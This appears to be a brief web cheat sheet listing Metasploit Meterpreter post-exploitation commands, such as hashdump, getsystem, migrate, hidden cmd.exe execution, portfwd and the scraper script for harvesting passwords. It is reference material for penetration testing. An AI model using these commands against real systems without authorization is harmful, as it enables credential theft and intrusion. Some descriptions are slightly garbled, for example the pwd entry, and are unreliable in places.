How Meterpreter Security Test

Meterpreter is the post exploitation shell used by Metasploit. Here are some useful commands.

Commands	Description
hashdump	This command dumps the password hashes stored on the target system.
getuid	The **getuid** command gives us information about the currently logged-in user.
ps	The **ps** command is used to view a list of running processes in victim.
migrate	The Migrate command allows our meterpreter session to migrate between any of the currently running processes in victim machine. For example: **meterpreter > migrate -p 512**
shell	The **shell** command gives us a standard shell on the Target system.
search	The **search** command is used to search for specific files on the target machine.
sysinfo	The **sysinfo** Meterpreter command displays the information about the victim exploited Windows machine like Name, OS Type, Architecture, Domain and Language.
cat	The **cat** command is identical to the command found on *nix systems. It displays the content of a file when it's given as an argument.
cd	The **cd** commands are used to change and display current working directly on the target host.
pwd	The **pwd** commands are used to change and display current working directly on the target host.
download	The **download** command downloads a file from the remote machine. Note the use of the double-slashes when giving the Windows path. For example: **meterpreter > download c:\\boot.ini** [*] downloading: c:\boot.ini -> c:\boot.ini [*] downloaded : c:\boot.ini -> c:\boot.ini/boot.ini **meterpreter >**
execute	The **execute** command runs a command on the target, such as: **meterpreter > execute -f cmd.exe -i -H**
kill	Terminate the process designated by the PID
getpid	Gets the current process ID (PID)
getuid	Gets the user that the server is running as
getprivs	Gets as many privileges as possible
portfwd	Forwards a port on the victim system to a remote service
getsystem	uses 15 built-in methods to gain sysadmin privileges
ipconfig	Displays network interfaces with key information including IP address, etc
route	View or modify the victim routing table
getlwd	Print the local directory
lcd	Change local directory
ls	List files in current directory
rm	Delete a file
rmdir	Remove directory on the victim system
upload	Upload a file from the attacker system to the victim
use incognito	This allows us to use the incognito modules that supports the Windows functions of created and editing users and groups.
help	This displays the help page
run	Run a meterpreter module/script
run scraper	Harvests everything you might want from a system including network shares, registry hives and password.